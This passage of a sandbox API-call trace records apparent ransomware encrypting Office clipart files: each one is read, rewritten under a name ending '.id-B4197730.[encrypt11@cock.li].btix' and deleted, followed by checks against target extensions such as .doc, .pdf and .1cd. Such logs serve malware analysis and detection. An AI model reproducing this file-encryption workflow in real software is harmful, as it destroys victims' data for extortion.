office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 0x220 [0143.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0143.972] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.972] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0143.973] GetLastError () returned 0x0 [0144.167] ReadFile (in: hFile=0x55c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x4928, lpOverlapped=0x0) returned 1 [0144.260] WriteFile (in: hFile=0x38c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x4930, lpOverlapped=0x0) returned 1 [0144.261] ReadFile (in: hFile=0x55c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.261] WriteFile (in: hFile=0x38c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.261] SetEndOfFile (hFile=0x38c) returned 1 [0144.261] CloseHandle (hObject=0x38c) returned 1 [0144.261] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.261] SetEndOfFile (hFile=0x55c) returned 1 [0144.263] CloseHandle (hObject=0x55c) returned 1 [0144.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 1 [0144.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0144.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0144.264] lstrlenW (lpString=".doc") returned 4 [0144.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.264] lstrlenW (lpString=".docx") returned 5 [0144.264] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0144.264] lstrlenW (lpString=".pdf") returned 4 [0144.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.264] lstrlenW (lpString=".xls") returned 4 [0144.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.264] lstrlenW (lpString=".xlsx") returned 5 [0144.264] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0144.264] lstrlenW (lpString=".ppt") returned 4 [0144.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0144.265] lstrlenW (lpString=".zip") returned 4 [0144.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.265] lstrlenW (lpString=".rar") returned 4 [0144.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.265] lstrlenW (lpString=".bz2") returned 4 [0144.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.265] lstrlenW (lpString=".7z") returned 3 [0144.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0144.265] lstrlenW (lpString=".dbf") returned 4 [0144.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0144.265] lstrlenW (lpString=".1cd") returned 4 [0144.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0144.265] lstrlenW (lpString=".jpg") returned 4 [0144.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.265] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=17332) returned 1 [0144.265] CloseHandle (hObject=0x55c) returned 1 [0144.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 0x220 [0144.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0144.266] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.266] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0144.267] GetLastError () returned 0x0 [0144.267] ReadFile (in: hFile=0x55c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x43b4, lpOverlapped=0x0) returned 1 [0144.324] WriteFile (in: hFile=0x38c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x43c0, lpOverlapped=0x0) returned 1 [0144.325] ReadFile (in: hFile=0x55c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.325] WriteFile (in: hFile=0x38c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.325] SetEndOfFile (hFile=0x38c) returned 1 [0144.340] CloseHandle (hObject=0x38c) returned 1 [0144.340] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.340] SetEndOfFile (hFile=0x55c) returned 1 [0144.393] CloseHandle (hObject=0x55c) returned 1 [0144.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 1 [0144.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0144.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0144.394] lstrlenW (lpString=".doc") returned 4 [0144.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.394] lstrlenW (lpString=".docx") returned 5 [0144.394] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0144.395] lstrlenW (lpString=".pdf") returned 4 [0144.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.395] lstrlenW (lpString=".xls") returned 4 [0144.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.395] lstrlenW (lpString=".xlsx") returned 5 [0144.395] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0144.395] lstrlenW (lpString=".ppt") returned 4 [0144.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0144.395] lstrlenW (lpString=".zip") returned 4 [0144.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.395] lstrlenW (lpString=".rar") returned 4 [0144.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.395] lstrlenW (lpString=".bz2") returned 4 [0144.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.395] lstrlenW (lpString=".7z") returned 3 [0144.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0144.395] lstrlenW (lpString=".dbf") returned 4 [0144.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0144.395] lstrlenW (lpString=".1cd") returned 4 [0144.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0144.395] lstrlenW (lpString=".jpg") returned 4 [0144.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.496] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11720) returned 1 [0144.496] CloseHandle (hObject=0x560) returned 1 [0144.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 0x220 [0144.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0144.496] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.496] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0144.497] GetLastError () returned 0x0 [0144.497] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x2dc8, lpOverlapped=0x0) returned 1 [0144.498] WriteFile (in: hFile=0x530, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x2dd0, lpOverlapped=0x0) returned 1 [0144.499] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.499] WriteFile (in: hFile=0x530, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.499] SetEndOfFile (hFile=0x530) returned 1 [0144.499] CloseHandle (hObject=0x530) returned 1 [0144.499] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.499] SetEndOfFile (hFile=0x560) returned 1 [0144.501] CloseHandle (hObject=0x560) returned 1 [0144.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 1 [0144.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0144.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0144.504] lstrlenW (lpString=".doc") returned 4 [0144.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.504] lstrlenW (lpString=".docx") returned 5 [0144.504] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0144.504] lstrlenW (lpString=".pdf") returned 4 [0144.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.504] lstrlenW (lpString=".xls") returned 4 [0144.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.504] lstrlenW (lpString=".xlsx") returned 5 [0144.504] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0144.504] lstrlenW (lpString=".ppt") returned 4 [0144.504] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0144.504] lstrlenW (lpString=".zip") returned 4 [0144.504] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.504] lstrlenW (lpString=".rar") returned 4 [0144.504] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.504] lstrlenW (lpString=".bz2") returned 4 [0144.504] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.504] lstrlenW (lpString=".7z") returned 3 [0144.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0144.504] lstrlenW (lpString=".dbf") returned 4 [0144.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0144.504] lstrlenW (lpString=".1cd") returned 4 [0144.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0144.579] lstrlenW (lpString=".jpg") returned 4 [0144.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.641] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=3020) returned 1 [0144.641] CloseHandle (hObject=0x54c) returned 1 [0144.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 0x220 [0144.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0144.859] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.859] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0145.156] GetLastError () returned 0x0 [0145.156] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0xbcc, lpOverlapped=0x0) returned 1 [0145.158] WriteFile (in: hFile=0x334, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0145.159] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.159] WriteFile (in: hFile=0x334, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.159] SetEndOfFile (hFile=0x334) returned 1 [0145.159] CloseHandle (hObject=0x334) returned 1 [0145.159] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.159] SetEndOfFile (hFile=0x560) returned 1 [0145.161] CloseHandle (hObject=0x560) returned 1 [0145.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 1 [0145.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0145.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0145.165] lstrlenW (lpString=".doc") returned 4 [0145.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.165] lstrlenW (lpString=".docx") returned 5 [0145.165] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0145.165] lstrlenW (lpString=".pdf") returned 4 [0145.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.165] lstrlenW (lpString=".xls") returned 4 [0145.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.165] lstrlenW (lpString=".xlsx") returned 5 [0145.165] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0145.165] lstrlenW (lpString=".ppt") returned 4 [0145.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0145.165] lstrlenW (lpString=".zip") returned 4 [0145.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.165] lstrlenW (lpString=".rar") returned 4 [0145.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.165] lstrlenW (lpString=".bz2") returned 4 [0145.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.166] lstrlenW (lpString=".7z") returned 3 [0145.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0145.166] lstrlenW (lpString=".dbf") returned 4 [0145.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0145.166] lstrlenW (lpString=".1cd") returned 4 [0145.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0145.166] lstrlenW (lpString=".jpg") returned 4 [0145.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.167] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=20136) returned 1 [0145.167] CloseHandle (hObject=0x560) returned 1 [0145.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 0x220 [0145.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0145.167] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.167] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0145.168] GetLastError () returned 0x0 [0145.168] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x4ea8, lpOverlapped=0x0) returned 1 [0145.170] WriteFile (in: hFile=0x334, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x4eb0, lpOverlapped=0x0) returned 1 [0145.171] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.171] WriteFile (in: hFile=0x334, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.171] SetEndOfFile (hFile=0x334) returned 1 [0145.171] CloseHandle (hObject=0x334) returned 1 [0145.171] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.171] SetEndOfFile (hFile=0x560) returned 1 [0145.176] 